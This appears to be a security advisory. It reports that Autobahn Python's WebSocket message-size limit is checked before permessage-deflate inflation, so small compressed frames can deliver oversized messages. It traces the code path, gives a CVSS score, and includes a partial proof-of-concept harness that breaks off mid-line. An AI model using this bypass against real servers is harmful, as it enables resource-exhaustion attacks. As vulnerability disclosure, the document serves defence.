Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.
// detailsThe permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves maxmessagesize at its default None in src/autobahn/websocket/compressdeflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compressdeflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments messagedatatotallength by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because maxmessagesize is None, src/autobahn/websocket/compressdeflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.
// reproductionimport sys
import types
import zlib
if len(sys.argv) != 2:
raise SystemExit("usage: autobahn_deflate_limit_poc.py ")
SRC = sys.argv[1]
class _Log:
def debug(self, *args, **kwargs):
pass
def warn(self, *args, **kwargs):
pass
def error(self, *args, **kwargs):
pass
class _Timer:
def call_later(self, *args, **kwargs):
return self
def cancel(self):
pass
txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio
hyperlink = types.ModuleType("hyperlink")
class _URL:
@classmethod
def from_text(cls, text):
return cls(text)
def __init__(self, text):
self._text = text
def to_uri(self):
return self
def normalize(self):
return self
def to_text(self):
return self._text
hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink
wamp_types = types.ModuleType("autobahn.wamp.types")
class TransportDetails:
pass
wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types
sys.path.insert(0, SRC + "/src")
from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol
class _Factory:
isServer = True
requireMaskedClientFrames = True
maskServerFrames = False
utf8validateIncoming = True
applyMask = True
max// impactA remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level maxmessagesize cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- Low